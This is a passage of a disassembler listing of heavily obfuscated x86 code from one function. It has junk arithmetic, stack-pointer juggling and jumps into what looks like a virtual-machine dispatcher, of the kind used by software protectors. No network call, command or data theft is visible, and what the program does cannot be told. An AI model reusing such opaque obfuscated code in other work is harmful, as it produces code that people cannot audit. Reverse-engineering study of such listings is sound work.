; ---------------------------------------------------------------------------


loc_5A8420:				; CODE XREF: sub_58A891+18100j
		jz	loc_5A519B
		sub	ecx, 0CD4BA5BCh
		jmp	loc_5A59FD
; ---------------------------------------------------------------------------


loc_5A8431:				; CODE XREF: sub_58A891+27B71j
		add	[esp+56h+var_58+2], 4
		pop	ebp
		push	ebx
		jmp	loc_5B0146
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+56h+var_58+2]
		push	ecx
		push	esp
		push	[esp+5Eh+var_60+2]
		pop	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, 401629ECh
		add	edx, ebx
		sub	edx, 401629ECh
		pop	ebx
		jmp	loc_59DF82
; ---------------------------------------------------------------------------


loc_5A8469:				; CODE XREF: sub_58A891+15CD9j
		push	edx
		mov	edx, 0B3071317h
		add	ebp, edx
		jmp	loc_59E0E9
; ---------------------------------------------------------------------------


loc_5A8476:				; CODE XREF: sub_58A891+1C421j
		xor	esi, [esp+0B2h+var_B2]
		xor	[esp+0B2h+var_B2], esi
		xor	esi, [esp+0B2h+var_B2]
		mov	esp, [esp+0B2h+var_B2]
		mov	[esp+0B2h+var_B2], ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 27817A0Ah
		shr	edx, 4
		push	0B36h
		jmp	loc_59E53D
; ---------------------------------------------------------------------------


loc_5A849A:				; CODE XREF: sub_58A891+1A297j
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_59C50F
; ---------------------------------------------------------------------------


loc_5A84A6:				; CODE XREF: sub_58A891+2460Ej
		push	ebx
		not	[esp+92h+var_94+2]
		mov	ebx, [esp+92h+var_94+2]
		add	esp, 4
		jmp	loc_59E843
; ---------------------------------------------------------------------------


loc_5A84B5:				; CODE XREF: sub_58A891+2712Ej
		lodsd
		push	ecx
		jmp	loc_5A4F65
; ---------------------------------------------------------------------------


loc_5A84BC:				; CODE XREF: sub_58A891+22B92j
		sub	ebx, esi
		pop	esi
		add	ebx, eax
		mov	[ebx], ebp
		pop	ebx
		pop	ebp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A84CA:				; CODE XREF: sub_58A891+15D45j
		push	ebp
		jmp	loc_5A8027
; ---------------------------------------------------------------------------


loc_5A84D0:				; CODE XREF: sub_58A891+1907Ej
					; sub_58A891+25DAAj
		push	ecx
		mov	cl, 6Dh
		sub	cl, 4Ch
		sub	al, 0B9h
		add	al, cl
		add	al, 0B9h
		pop	ecx
		sub	al, 45h
		push	[esp+0Ah+var_C+2]
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	bh, 58h
		shr	bh, 1
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ecx
		mov	ch, 0AAh
		push	eax
		jmp	loc_5AE3B3
; ---------------------------------------------------------------------------


loc_5A8507:				; CODE XREF: sub_58A891:loc_59D8F7j
		inc	esi
		jl	loc_5A2E10
		jmp	loc_5ADACE
; ---------------------------------------------------------------------------
		xor	esi, [esp+0A2h+var_A2]
		mov	esi, ecx


loc_5A8518:				; CODE XREF: sub_58A891+1EE78j
		xor	ebx, 5FF16E0Bh
		jmp	loc_5A4FB0
; ---------------------------------------------------------------------------


loc_5A8523:				; CODE XREF: sub_58A891+1B411j
		pop	edx
		xor	eax, ebx
		mov	ebx, [esp+0A6h+var_A6]
		jmp	loc_5ABE76
; ---------------------------------------------------------------------------


loc_5A852E:				; CODE XREF: sub_58A891+180E0j
		shr	edi, 6
		jns	loc_5AA0A3
		push	eax
		mov	eax, 1C436D3Ch
		and	edi, eax
		mov	dh, ah


loc_5A8541:				; CODE XREF: sub_58A891+222D1j
		mov	ebp, [esp+0D2h+var_D2]
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 12615D2Dh
		jmp	loc_5B0631
; ---------------------------------------------------------------------------


loc_5A8553:				; CODE XREF: sub_58A891+1A6A3j
		sub	ebp, 1CE66FD5h
		add	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+2+var_4+2]
		jmp	loc_5AD542
; ---------------------------------------------------------------------------


loc_5A856D:				; CODE XREF: sub_58A891+1A7D9j
		pop	esp
		jmp	loc_59DAD9
; ---------------------------------------------------------------------------


loc_5A8573:				; CODE XREF: sub_58A891+18309j
		mov	[esp+6+var_8+2], edi
		push	922h
		jmp	loc_5A7DD3
; ---------------------------------------------------------------------------


loc_5A8580:				; CODE XREF: sub_58A891+27213j
		sub	eax, 109220BBh
		push	ecx
		mov	ecx, 2592378Dh
		or	eax, ecx
		pop	ecx
		jmp	loc_59C425
; ---------------------------------------------------------------------------


loc_5A8593:				; CODE XREF: sub_58A891+240ECj
		sub	edi, esi
		pop	esi
		sub	edi, 2C020FC1h
		jmp	loc_5AB035
; ---------------------------------------------------------------------------


loc_5A85A1:				; CODE XREF: sub_58A891+268CCj
		jmp	loc_59FF5D
; ---------------------------------------------------------------------------


loc_5A85A6:				; CODE XREF: sub_58A891+26A27j
		dec	ch
		jmp	loc_5A1CE4
; ---------------------------------------------------------------------------


loc_5A85AD:				; CODE XREF: sub_58A891+251C7j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5AB0F9
; ---------------------------------------------------------------------------


loc_5A85B5:				; CODE XREF: sub_58A891+27D44j
		jmp	loc_5B1269
; ---------------------------------------------------------------------------


loc_5A85BA:				; CODE XREF: sub_58A891+17A72j
		xor	ebx, 278F12B3h
		and	ecx, ebx
		push	[esp+0D2h+var_D2]
		pop	ebx
		add	esp, 4
		shr	ecx, 7
		jmp	loc_5A5A64
; ---------------------------------------------------------------------------


loc_5A85D4:				; CODE XREF: sub_58A891+1A21Ej
		add	esp, 4
		sub	esi, 2D192C01h
		add	esi, 403A38A1h
		jmp	loc_5A0A64
; ---------------------------------------------------------------------------


loc_5A85E8:				; CODE XREF: sub_58A891+1DE13j
		mov	ebx, [esp+60h+var_60]
		add	esp, 4
		push	153h
		mov	[esp+60h+var_60], ebp
		jmp	loc_5A9DAC
; ---------------------------------------------------------------------------


loc_5A85FE:				; CODE XREF: sub_58A891+1DAEAj
		pop	edi
		and	ecx, edx
		push	[esp+8Ah+var_8C+2]
		jmp	loc_5A3E3F
; ---------------------------------------------------------------------------


loc_5A8609:				; CODE XREF: sub_58A891+16FB4j
		xor	ebp, 35ED6027h
		push	ebp
		pop	edx
		push	[esp+26h+var_28+2]
		pop	ebp
		add	esp, 4
		add	ebp, 292D7239h
		add	ebp, edx
		push	edx
		jmp	loc_5B0650
; ---------------------------------------------------------------------------


loc_5A8629:				; CODE XREF: sub_58A891+15651j
		push	453Fh
		mov	[esp+0A4h+var_A6+2], ecx
		push	23A05EBAh
		pop	ecx
		shl	ecx, 5
		neg	ecx
		sub	esp, 4
		mov	[esp+0A8h+var_AA+2], eax
		mov	eax, 380B49FCh
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		push	edi
		jmp	loc_5A5886
; ---------------------------------------------------------------------------


loc_5A8651:				; CODE XREF: sub_58A891+20B08j
		push	1D21h
		mov	[esp+0B0h+var_B2+2], ebx
		push	5A43h
		mov	[esp+0B4h+var_B6+2], ecx
		mov	ch, 42h
		mov	bl, 69h
		jmp	loc_5A0D2C
; ---------------------------------------------------------------------------


loc_5A866A:				; CODE XREF: sub_58A891+1AC2Cj
		pop	eax
		jmp	loc_5B2102
; ---------------------------------------------------------------------------


loc_5A8670:				; CODE XREF: sub_58A891+26A1Bj
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+46h+var_48+2]
		mov	esp, [esp+46h+var_48+2]
		push	eax
		jmp	loc_5B1E70
; ---------------------------------------------------------------------------


loc_5A8684:				; CODE XREF: sub_58A891+1BD7Aj
		mov	cx, word ptr [esp+26h+var_28+2]
		push	32FDh
		mov	[esp+2Ah+var_2C+2], edi
		jmp	loc_5AB0CB
; ---------------------------------------------------------------------------


loc_5A8695:				; CODE XREF: sub_58A891+1E760j
		add	edi, 47942B57h
		neg	edi
		jmp	loc_5B0D29
; ---------------------------------------------------------------------------


loc_5A86A2:				; CODE XREF: sub_58A891+17B6Ej
		add	eax, ebx
		jmp	loc_5A85E8
; ---------------------------------------------------------------------------


loc_5A86A9:				; CODE XREF: sub_58A891+280D6j
		pop	edx
		push	edx
		mov	edx, 675441F2h
		xor	edx, 9D40B4Fh
		and	edi, edx
		pop	edx
		and	edi, 0EA955C7h
		sub	edi, 0A545EBE5h
		sub	eax, 4F603027h
		sub	eax, edi
		add	eax, 4F603027h
		jmp	loc_5AE09A
; ---------------------------------------------------------------------------
		push	[esp+0C8h+var_CA+2]
		push	[esp+0CCh+var_CE+2]
		pop	eax
		push	edx
		push	esp
		jmp	loc_5A6F96
; ---------------------------------------------------------------------------


loc_5A86E4:				; CODE XREF: sub_58A891+16BB0j
		push	eax
		jmp	loc_59F55A
; ---------------------------------------------------------------------------


loc_5A86EA:				; CODE XREF: sub_58A891+1CC6Bj
		mov	eax, 127250CCh
		mov	ebx, eax
		mov	eax, [esp+4Ah+var_4C+2]
		add	esp, 4
		push	3FCDh
		jmp	loc_5A1733
; ---------------------------------------------------------------------------


loc_5A8701:				; CODE XREF: sub_58A891+22CACj
		dec	eax
		and	eax, 6D0F7388h
		inc	eax
		jmp	loc_5A6B64
; ---------------------------------------------------------------------------


loc_5A870D:				; CODE XREF: sub_58A891+178D0j
		shr	ecx, 6
		push	3A18h
		mov	[esp+1Eh+var_20+2], ebx
		push	eax
		push	ebx
		mov	ebx, 2BC920D4h
		sub	ebx, 47210FF6h
		jnp	loc_5A2F29
		add	ebx, 591F60BFh
		mov	eax, ebx
		pop	ebx
		add	[esp+22h+var_20+2], eax
		pop	eax
		pop	eax
		jmp	loc_5B0D14
; ---------------------------------------------------------------------------


loc_5A873F:				; CODE XREF: sub_58A891+175A7j
		add	esi, 4
		push	ebp
		jmp	loc_5ACF4A
; ---------------------------------------------------------------------------


loc_5A874B:				; CODE XREF: sub_58A891+122EDj
		add	[esp+0AAh+var_A6], ebx
		jmp	loc_5A0657
; ---------------------------------------------------------------------------


loc_5A8754:				; CODE XREF: sub_58A891+21148j
		push	411536BAh
		jmp	loc_59C090
; ---------------------------------------------------------------------------


loc_5A875E:				; CODE XREF: sub_58A891+1A4F5j
					; sub_58A891+2497Ej
		sub	eax, edi
		add	eax, 74865C2Dh
		jmp	loc_59CA5B
; ---------------------------------------------------------------------------


loc_5A876A:				; CODE XREF: sub_58A891+246E8j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A876F:				; CODE XREF: sub_58A891+1355Dj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8774:				; CODE XREF: sub_58A891+1818Bj
		not	eax
		add	eax, 17140B24h
		mov	edi, eax
		jmp	loc_5A167E
; ---------------------------------------------------------------------------


loc_5A8782:				; CODE XREF: sub_58A891+27809j
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_5A8360
; ---------------------------------------------------------------------------


loc_5A878C:				; CODE XREF: sub_58A891+1590Aj
		add	ebx, esi
		mov	esi, [esp+92h+var_94+2]
		add	esp, 4
		jmp	loc_5AF7C1
; ---------------------------------------------------------------------------


loc_5A8799:				; CODE XREF: sub_58A891+19C14j
		add	al, 0C5h
		jmp	loc_5ADAEC
; ---------------------------------------------------------------------------


loc_5A87A0:				; CODE XREF: sub_58A891+21D90j
		push	dword ptr [edi+1Ch]
		push	[esp+32h+var_34+2]
		mov	eax, [esp+36h+var_38+2]
		push	1024h
		jmp	loc_5A108B
; ---------------------------------------------------------------------------


loc_5A87B3:				; CODE XREF: sub_58A891+22C80j
		add	ecx, esi
		pop	esi
		dec	ecx
		xor	ecx, 0AF71E9E6h
		sub	ebx, 64354Dh
		add	ebx, ecx
		jmp	loc_59D3D6
; ---------------------------------------------------------------------------


loc_5A87CA:				; CODE XREF: sub_58A891+13053j
		jmp	loc_59FFC6
; ---------------------------------------------------------------------------


loc_5A87CF:				; CODE XREF: sub_58A891+24BACj
		pop	dword ptr [esp+0]
		mov	esp, [esp+96h+var_98+2]
		mov	cx, word ptr [esp+96h+var_98+2]
		push	7898h
		jmp	loc_59C635
; ---------------------------------------------------------------------------


loc_5A87E3:				; CODE XREF: sub_58A891+13107j
		mov	eax, ebx
		pop	ebx
		or	eax, 141E0F81h
		neg	eax
		sub	eax, 316B29AAh
		jmp	loc_5A8989
; ---------------------------------------------------------------------------


loc_5A87F7:				; CODE XREF: sub_58A891+2695Dj
		pop	ax
		pop	eax
		push	ecx
		push	eax
		mov	ah, 91h
		mov	cl, 42h
		jmp	loc_5A2BBC
; ---------------------------------------------------------------------------


loc_5A8805:				; CODE XREF: sub_58A891+262BFj
		add	esp, 4
		jmp	loc_5A0528
; ---------------------------------------------------------------------------


loc_5A880D:				; CODE XREF: sub_58A891+28310j
		mov	ebp, 45736B13h
		jmp	loc_59DCA8
; ---------------------------------------------------------------------------


loc_5A8817:				; CODE XREF: sub_58A891+1B839j
		pop	esp
		add	ebp, 5B010BFh
		jmp	loc_59DD5D
; ---------------------------------------------------------------------------


loc_5A8823:				; CODE XREF: sub_58A891+1C72Bj
					; sub_58A891+1CA32j
		push	[esp+0AEh+var_AA]
		pop	edi
		pop	[esp+0AEh+var_AE]
		pop	esp
		mov	[esp+0A6h+var_A6], eax
		push	473h
		mov	[esp+0AAh+var_AA], ebx
		jmp	loc_5A6BB7
; ---------------------------------------------------------------------------


loc_5A883C:				; CODE XREF: sub_58A891+12676j
		or	eax, 836761h
		jmp	loc_5B031C
; ---------------------------------------------------------------------------


loc_5A8846:				; CODE XREF: sub_58A891+1CA18j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_59EF13
; ---------------------------------------------------------------------------


loc_5A8857:				; CODE XREF: sub_58A891+13A6Ej
		xor	eax, [esp+42h+var_44+2]
		mov	esp, [esp+42h+var_44+2]
		push	edi
		mov	edi, 2
		add	ecx, 2B86514Eh
		sub	ecx, edi
		sub	ecx, 2B86514Eh
		mov	edi, [esp+46h+var_48+2]
		jmp	loc_5AD3B4
; ---------------------------------------------------------------------------


loc_5A8879:				; CODE XREF: sub_58A891+14EEDj
		jb	loc_5A0D08
		xor	ecx, 2E25A8CEh
		mov	esi, ecx
		mov	ecx, [esp+0AAh+var_AA]
		add	esp, 4
		add	esi, 0F915BC91h
		jmp	loc_5AE07E
; ---------------------------------------------------------------------------


loc_5A889B:				; CODE XREF: sub_58A891+145D5j
		push	edi
		mov	edi, esp
		push	eax
		push	esi
		push	150F6Fh
		pop	esi
		sub	esi, 150F6Bh
		mov	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 1DBF7999h
		jmp	loc_59C40C
; ---------------------------------------------------------------------------


loc_5A88BA:				; CODE XREF: sub_58A891+2022Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp+46h+var_48+2], esi
		jmp	loc_5A5963
; ---------------------------------------------------------------------------


loc_5A88CB:				; CODE XREF: sub_58A891+1B524j
		add	edi, 0D0F30340h
		sub	esp, 4
		mov	[esp+0AAh+var_AA], edi
		xor	[esp+0AAh+var_AA], 358B7856h
		jmp	loc_5AD0CF
; ---------------------------------------------------------------------------


loc_5A88E6:				; CODE XREF: sub_58A891+1D326j
		jmp	loc_59DAC4
; ---------------------------------------------------------------------------


loc_5A88EB:				; CODE XREF: sub_58A891+19314j
		or	ecx, 3A89092Dh
		jmp	loc_5A93DB
; ---------------------------------------------------------------------------


loc_5A88F6:				; CODE XREF: sub_58A891+1383Ej
		push	ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A88FE:				; CODE XREF: sub_58A891+11C90j
					; sub_58A891+12343j
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+42h+var_44+2]
		pop	esp
		push	4FECh
		mov	[esp+42h+var_44+2], edx
		push	1
		mov	edx, [esp+46h+var_48+2]
		jmp	loc_5A2922
; ---------------------------------------------------------------------------


loc_5A8924:				; CODE XREF: sub_58A891+16FC4j
		mov	ebp, [esp+2Ah+var_2C+2]
		push	eax
		jmp	loc_5A80B8
; ---------------------------------------------------------------------------


loc_5A892D:				; CODE XREF: sub_58A891+21986j
		sub	ebp, ecx
		jmp	loc_5A83BE
; ---------------------------------------------------------------------------


loc_5A8934:				; CODE XREF: sub_58A891+197FCj
		push	ecx
		jmp	loc_5A7651
; ---------------------------------------------------------------------------


loc_5A893A:				; CODE XREF: sub_58A891+14767j
		mov	esi, 508E26CFh
		xor	esi, 7437435h
		push	0F63h
		mov	[esp+0CEh+var_CE], edx
		mov	edx, 2AD16D4Ch
		and	edx, 31A66375h
		push	edi
		jmp	loc_5A291C
; ---------------------------------------------------------------------------


loc_5A895E:				; CODE XREF: sub_58A891+1EE29j
		jle	loc_5A26B5
		jmp	loc_5A366B
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, 0BAF0AA6h
		pop	edi


loc_5A8970:				; CODE XREF: sub_58A891+1D229j
		mov	ecx, 759B76BCh
		xor	ebx, ecx
		pop	ecx
		add	ebx, 0EA2499C8h
		push	ebp
		mov	ebp, 14E80F9Fh
		jmp	loc_5B18D6
; ---------------------------------------------------------------------------


loc_5A8989:				; CODE XREF: sub_58A891+1DF61j
		dec	eax
		sub	eax, 38B168B7h
		xor	eax, 56D68C48h
		mov	ecx, eax
		pop	eax
		add	edi, 23CB0076h
		add	edi, ecx
		jmp	loc_5ABA17
; ---------------------------------------------------------------------------


loc_5A89A4:				; CODE XREF: sub_58A891+1F330j
		pop	esi
		jmp	loc_5AD62B
; ---------------------------------------------------------------------------


loc_5A89AA:				; CODE XREF: sub_58A891+26E6Dj
		mov	edx, esp
		push	eax
		sub	esp, 4
		mov	[esp+0A6h+var_A6], edx
		mov	edx, 7CA92FB5h
		or	edx, 69C57A85h
		shl	edx, 6
		add	edx, 84A012C4h
		mov	eax, edx
		mov	edx, [esp+0A6h+var_A6]
		add	esp, 4
		add	edx, eax
		mov	eax, [esp+0A2h+var_A2]
		add	esp, 4
		push	ebp
		mov	ebp, 11AE38F7h
		and	ebp, 38E03A41h
		inc	ebp
		or	ebp, 62534561h
		add	ebp, 545C37F7h
		xor	ebp, 0C74FB55Eh
		add	edx, ebp
		jmp	loc_5AAC7A
; ---------------------------------------------------------------------------


loc_5A8A00:				; CODE XREF: sub_58A891+240B7j
		mov	ecx, [esp+0A2h+var_A2]
		add	esp, 4
		push	ebx
		mov	bl, ah
		mov	ah, dh
		mov	dh, bl
		pop	ebx
		push	ecx
		mov	ch, 1
		sub	ah, ch
		jmp	loc_5A2DD7
; ---------------------------------------------------------------------------


loc_5A8A1B:				; CODE XREF: sub_58A891+26EC7j
		pop	ax
		push	[esp+0A0h+var_A2+2]
		mov	ebx, [esp+0A4h+var_A6+2]
		add	esp, 4
		add	esp, 4
		add	al, 94h
		add	al, ch
		sub	al, 94h
		push	[esp+9Ch+var_9E+2]
		push	[esp+0A0h+var_A2+2]
		pop	ecx
		add	esp, 4
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5B1FE7
; ---------------------------------------------------------------------------


loc_5A8A4F:				; CODE XREF: sub_58A891+1B47Cj
		pop	edx
		inc	esi
		add	esi, 269C24A8h
		not	esi
		push	edx
		mov	edx, 26C6393Bh
		xor	edx, 49EC0EC5h
		jmp	loc_5AE968
; ---------------------------------------------------------------------------


loc_5A8A6A:				; CODE XREF: sub_58A891+16F91j
		pop	[esp+22h+var_24+2]
		push	edx
		mov	edx, 4
		add	[esp+22h+var_20+2], 2BBB196Bh
		add	[esp+22h+var_20+2], edx
		sub	[esp+22h+var_20+2], 2BBB196Bh
		pop	edx
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 2
		xchg	ebx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	word ptr [esp+1Ah+var_1C+2], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8AA4:				; CODE XREF: sub_58A891+1BC75j
		add	ebx, 4
		push	ecx
		push	edx
		jmp	loc_5ACA93
; ---------------------------------------------------------------------------


loc_5A8AB1:				; CODE XREF: sub_58A891+26F9Dj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+56h+var_58+2]
		pop	esp
		add	esp, 4
		push	ebx
		sub	esp, 4
		jmp	loc_5ACC09
; ---------------------------------------------------------------------------


loc_5A8ACF:				; CODE XREF: sub_58A891+26385j
		pop	bp
		push	edi
		jmp	loc_5AECDB
; ---------------------------------------------------------------------------


loc_5A8AD7:				; CODE XREF: sub_58A891+28455j
		and	eax, 7C497F34h
		jmp	loc_5A8250
; ---------------------------------------------------------------------------


loc_5A8AE1:				; CODE XREF: sub_58A891+11A39j
		push	6D54h
		mov	[esp+0Eh+var_10+2], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 763426FBh
		add	esi, 64983734h
		jmp	loc_5A9EF0
; ---------------------------------------------------------------------------


loc_5A8AFC:				; CODE XREF: sub_58A891+1D520j
		pop	eax
		add	bl, 60h
		and	dh, bl
		jmp	loc_59E425
; ---------------------------------------------------------------------------


loc_5A8B07:				; CODE XREF: sub_58A891+24CC1j
		sub	edi, ebx
		mov	ebx, [esp+3Ah+var_3C+2]
		add	esp, 4
		sub	edi, ecx
		jmp	loc_5A5E17
; ---------------------------------------------------------------------------


loc_5A8B19:				; CODE XREF: sub_58A891+18B09j
		shl	edx, 2
		inc	edx
		xor	edx, 6D526B25h
		jmp	loc_5A7553
; ---------------------------------------------------------------------------


loc_5A8B28:				; CODE XREF: sub_58A891+1C1C0j
		push	edi
		mov	edi, 10F70E0Ah
		mov	esi, 3B136603h
		jmp	loc_5A8F8F
; ---------------------------------------------------------------------------


loc_5A8B38:				; CODE XREF: sub_58A891+12D3Aj
					; sub_58A891+24003j
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		add	esp, 4


loc_5A8B44:				; CODE XREF: sub_58A891+141E6j
		push	28Fh
		mov	[esp+22h+var_24+2], ebx
		push	[esp+22h+var_24+2]
		jmp	loc_5A36C3
; ---------------------------------------------------------------------------


loc_5A8B54:				; CODE XREF: sub_58A891+12380j
		add	edx, ecx
		push	ebp
		mov	ebp, 70852141h
		jmp	loc_5AC6AC
; ---------------------------------------------------------------------------


loc_5A8B61:				; CODE XREF: sub_58A891+1D7FDj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8B66:				; CODE XREF: sub_58A891+1D854j
		mov	esp, [esp+0AEh+var_AE]
		mov	eax, [esp+0AEh+var_AE]
		add	esp, 4
		mov	[edi+eax*4], bl
		mov	ebx, [esp+0AAh+var_AA]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8B80:				; CODE XREF: sub_58A891+232D7j
		sub	esp, 4
		mov	[esp+0AAh+var_AA], eax
		push	esp
		jmp	loc_5A0106
; ---------------------------------------------------------------------------


loc_5A8B8C:				; CODE XREF: sub_58A891+273F9j
		mov	esp, [esp+0AEh+var_AE]
		sub	esp, 4
		mov	[esp+0B2h+var_B2], eax
		push	edi
		mov	edi, 5FC32019h
		shl	edi, 5
		jmp	loc_5A9677
; ---------------------------------------------------------------------------


loc_5A8BA3:				; CODE XREF: sub_58A891+19B57j
		shl	bl, 2
		jmp	loc_5A4D46
; ---------------------------------------------------------------------------


loc_5A8BAB:				; CODE XREF: sub_58A891+149DAj
		jmp	loc_5A2336
; ---------------------------------------------------------------------------


loc_5A8BB0:				; CODE XREF: sub_58A891+12F6Fj
		mov	[esp+0A8h+var_AA+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+0ACh+var_AA+2]
		pop	ecx
		pop	[esp+0ACh+var_AE+2]
		pop	esp
		pop	edx
		xor	[esp+0A0h+var_9E+2], ebx
		push	[esp+0A0h+var_A2+2]
		jmp	loc_5A83AB
; ---------------------------------------------------------------------------


loc_5A8BD8:				; CODE XREF: sub_58A891+1D1EDj
		add	edi, ecx
		mov	ecx, [esp+74h+var_74]
		jmp	loc_5A412B
; ---------------------------------------------------------------------------


loc_5A8BE2:				; CODE XREF: sub_58A891+15686j
		mov	dl, bh
		push	[esp+98h+var_98]
		mov	ebx, [esp+9Ch+var_9E+2]
		jmp	loc_5A300F
; ---------------------------------------------------------------------------


loc_5A8BEF:				; CODE XREF: sub_58A891+21056j
		sub	esp, 4
		jmp	loc_5AB1C9
; ---------------------------------------------------------------------------


loc_5A8BF7:				; CODE XREF: sub_58A891+20F91j
		mov	ebx, eax
		pop	eax
		mov	esi, 5A8F0F5Ch
		xor	esi, ebx
		mov	ebx, [esp+9Ch+var_9E+2]
		add	esp, 4
		sub	esi, 75DD6301h
		push	edi
		jmp	loc_5AAF0C
; ---------------------------------------------------------------------------


loc_5A8C16:				; CODE XREF: sub_58A891+1E857j
		add	esi, 4
		push	esi
		push	[esp+0A0h+var_9E+2]
		pop	esi
		pop	[esp+0A0h+var_A2+2]
		pop	esp
		jmp	loc_5A7567
; ---------------------------------------------------------------------------


loc_5A8C2B:				; CODE XREF: sub_58A891+1592Bj
		xor	eax, 2E35F5A2h
		sub	ebp, 4D8423B9h
		add	ebp, eax
		add	ebp, 4D8423B9h
		push	[esp+1Eh+var_20+2]
		pop	eax
		add	esp, 4
		push	ebp
		push	[esp+1Eh+var_1C+2]
		pop	ebp
		pop	[esp+1Eh+var_20+2]
		jmp	loc_5A6260
; ---------------------------------------------------------------------------


loc_5A8C56:				; CODE XREF: sub_58A891+189A6j
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		mov	ebx, [esp+74h+var_74]
		add	esp, 4
		push	0DC8h
		mov	[esp+74h+var_74], ebx
		mov	ebx, 32A07753h
		or	ebx, 6D031596h
		jg	loc_5A5027
		shr	ebx, 6
		jmp	loc_5A4A97
; ---------------------------------------------------------------------------
		pop	[esp+74h+var_74]


loc_5A8C87:				; CODE XREF: sub_58A891+26686j
		sub	edi, 5633A98h
		not	edi
		push	31C1h
		mov	[esp+74h+var_74], esi
		jmp	loc_59F14B
; ---------------------------------------------------------------------------


loc_5A8C9C:				; CODE XREF: sub_58A891+15297j
		push	3623h
		mov	[esp+0Ah+var_C+2], ebx
		jmp	loc_5B1412
; ---------------------------------------------------------------------------


loc_5A8CA9:				; CODE XREF: sub_58A891+1604Cj
		mov	[esp+84h+var_84], ecx
		push	edx
		mov	dh, bl
		mov	cl, dh
		pop	edx
		mov	ah, cl
		pop	ecx
		pop	ebx
		add	ah, 57h
		mov	dh, ah
		push	[esp+7Ch+var_7C]
		jmp	loc_5AAC25
; ---------------------------------------------------------------------------


loc_5A8CC3:				; CODE XREF: sub_58A891+1E64Cj
		shr	eax, 5
		jmp	loc_5B012F
; ---------------------------------------------------------------------------


loc_5A8CCB:				; CODE XREF: sub_58A891+150D6j
		pop	edi
		add	esp, 4
		sub	eax, 7DD1313Fh
		jmp	loc_5A350B
; ---------------------------------------------------------------------------


loc_5A8CD9:				; CODE XREF: sub_58A891+25E54j
		pop	esp
		push	ebx
		push	edx
		push	4B4602E7h
		pop	edx
		xor	edx, 4D336181h
		push	eax
		mov	eax, edx
		mov	ebx, eax
		pop	eax
		pop	edx
		jmp	loc_5A82AE
; ---------------------------------------------------------------------------


loc_5A8CF4:				; CODE XREF: sub_58A891+252CBj
		not	edx
		push	0
		jmp	loc_5A7C20
; ---------------------------------------------------------------------------


loc_5A8D00:				; CODE XREF: sub_58A891+20204j
		pop	esi
		add	edi, 4
		xchg	edi, [esp+12h+var_14+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	7D58h
		mov	[esp+16h+var_18+2], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xor	ebx, [esp+12h+var_14+2]
		jmp	loc_5A5CA7
; ---------------------------------------------------------------------------


loc_5A8D29:				; CODE XREF: sub_58A891+148E5j
		mov	esi, 4
		add	edi, esi
		jmp	loc_5B229C
; ---------------------------------------------------------------------------


loc_5A8D35:				; CODE XREF: sub_58A891+25209j
		pop	esp
		push	[esp+0EAh+var_EC+2]
		jmp	loc_5A3F10
; ---------------------------------------------------------------------------


loc_5A8D3E:				; CODE XREF: sub_58A891+1FED8j
					; sub_58A891+20C34j
		sub	ebp, 4
		push	ebp
		push	[esp+0F2h+var_F0+2]
		jmp	loc_5A39CB
; ---------------------------------------------------------------------------
		push	3DCEh
		mov	[esp+0FAh+var_FC+2], eax
		push	ecx
		jmp	loc_5AB941
; ---------------------------------------------------------------------------


loc_5A8D5C:				; CODE XREF: sub_58A891+12A98j
		pop	ecx
		push	edi
		push	[esp+16h+var_14+2]
		mov	edi, [esp+1Ah+var_1C+2]
		add	esp, 4
		pop	[esp+16h+var_18+2]
		jmp	loc_5A1C9F
; ---------------------------------------------------------------------------


loc_5A8D70:				; CODE XREF: sub_58A891+184C5j
		push	esp
		mov	ebp, [esp+74h+var_74]
		add	esp, 4
		add	ebp, 4
		jmp	loc_59E38D
; ---------------------------------------------------------------------------


loc_5A8D85:				; CODE XREF: sub_58A891+2818Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A5BAE
; ---------------------------------------------------------------------------


loc_5A8D92:				; CODE XREF: sub_58A891+1A80Bj
		pop	edx
		jmp	loc_5B1206
; ---------------------------------------------------------------------------


loc_5A8D98:				; CODE XREF: sub_58A891+14A1Dj
		pop	esp
		xor	eax, esi
		push	[esp+0E6h+var_E8+2]
		jmp	loc_5A4CBD
; ---------------------------------------------------------------------------


